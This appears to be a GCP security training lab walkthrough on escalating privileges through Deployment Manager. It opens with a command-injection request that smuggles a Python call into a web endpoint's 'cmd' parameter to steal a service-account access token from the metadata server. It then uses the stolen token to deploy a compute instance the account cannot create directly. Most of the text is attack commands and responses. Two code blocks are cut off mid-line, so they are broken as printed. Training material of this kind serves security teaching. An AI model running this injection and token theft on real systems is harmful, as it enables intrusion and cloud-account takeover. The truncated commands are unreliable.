Privilege Escalation through Deployment Manager

Deployment Manager is a GCP service that allows users to describe resources in template files (typically YAML) and upload them. Then Deployment Manager deploys those resources and allows the user to manage them.

GCP made an interesting design decision when developing Deployment Manager. Any user with permissions to deploy an environment through Deployment Manager may deploy resources that they otherwise would not have permission to create. For example, a user with the deploymentmanager.deployments.create permission may deploy an environment that includes creating a GCE instance even if that user has no permissions to GCE whatsoever.

We can attempt to leverage this through the credentials we have harvested from the **OSQuery-1 server**.

Collect the access token:

```
curl -G "http://35.199.52.52/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\",};
```

We should see output similar to the following:

```
{&#34;access_token&#34;:&#34;ya2...ACCESS_TOKEN_TARGET_ONE...66Y&#34;,&#34;expires_in&#34;:3120,&#34;token_type&#34;:&#34;Bearer&#34;}
```

The " are double quotes (e.g. "), so translated it looks more like...

```
{"access_token":"ya2...ACCESS_TOKEN_TARGET_ONE...66Y","expires_in":3120,"token_type":"Bearer"}
```

First, we will attempt to launch an instance in GCE directly. Save the following to a local file named data.json.

```
{
 "machineType": "zones/us-central1-a/machineTypes/n1-standard-1",
 "name": "test",
 "disks": [
   {
     "initializeParams": {
       "sourceImage": "projects/debian-cloud/global/images/family/debian-9"
     },
     "boot": true
   }
 ]
}
```

Now we can fill in our access token and issue the request to create a GCE instance.

```
curl -H 'content-type: application/json' -H "Authorization: Bearer <access_token>" --data @data.json \
https://compute.googleapis.com/compute/v1/projects/gcptrainninggcf001/zones/us-east4-c/instances
```

We receive the following response:

```
{
  "error": {
    "code": 403,
    "message": "Required 'compute.instances.create' permission for 'projects/gcptrainninggcf001/zones/us-east4-c/instances/test'",
    "errors": [
      {
        "message": "Required 'compute.instances.create' permission for 'projects/gcptrainninggcf001/zones/us-east4-c/instances/test'",
        "domain": "global",
        "reason": "forbidden"
      },
      {
        "message": "Required 'compute.disks.create' permission for 'projects/gcptrainninggcf001/zones/us-east4-c/disks/test'",
        "domain": "global",
        "reason": "forbidden"
      }
    ]
  }
}
```

OSQuery-1's service account does not have permissions to deploy a GCE instance. Now let's see if we can deploy an instance through Deployment Manager.

This request is complicated because it requires a YAML file to be sent as a JSON payload. Since JSON doesn't allow multiline strings, we are forced to make a JSON file will all the YAML in one line. Create a new data2.json, and put the following into it after updating the student number:

```
{
 "name": "priv-esc-student###",
 "target": {
  "config": {
   "content": "resources:\n- name: priv-esc-student###\n  type: compute.v1.instance\n  properties:\n    zone: us-central1-a\n    machineType: zones/us-central1-a/machineTypes/n1-stand
  }
 }
}
```

Next, we attempt to deploy our template:

```
curl -H 'content-type: application/json' -H "Authorization: Bearer <access token>" \
 --data @data2.json https://www.googleapis.com/deploymentmanager/v2/projects/gcptrainninggcf001/global/deployments
```

The response:

```
{
  "id": "8551758953456498173",
  "name": "operation-1596443410049-5abf4f25c2a3e-98258961-e6299f51",
  "operationType": "insert",
  "targetLink": "https://www.googleapis.com/deploymentmanager/v2/projects/gcptrainninggcf001/global/deployments/priv-esc-student057",
  "targetId": "12181489775360383 97",
  "status": "RUNNING",
  "user": "477308364307-compute@developer.gserviceaccount.com",
  "progress": 0,
  "insertTime": "2020-08-03T01:30:10.295-07:00",
  "startTime": "2020-08-03T01:30:10.301-07:00",
  "selfLink": "https://www.googleapis.com/deploymentmanager/v2/projects/gcptrainninggcf001/global/operations/operation-1596443410049-5abf4f25c2a3e-98258961-e6299f51",
  "kind": "deploymentmanager#operation"
}
```

Even though our credentials do not have access to deploy a GCE instance, we are able to do so through our Deployment Manager access.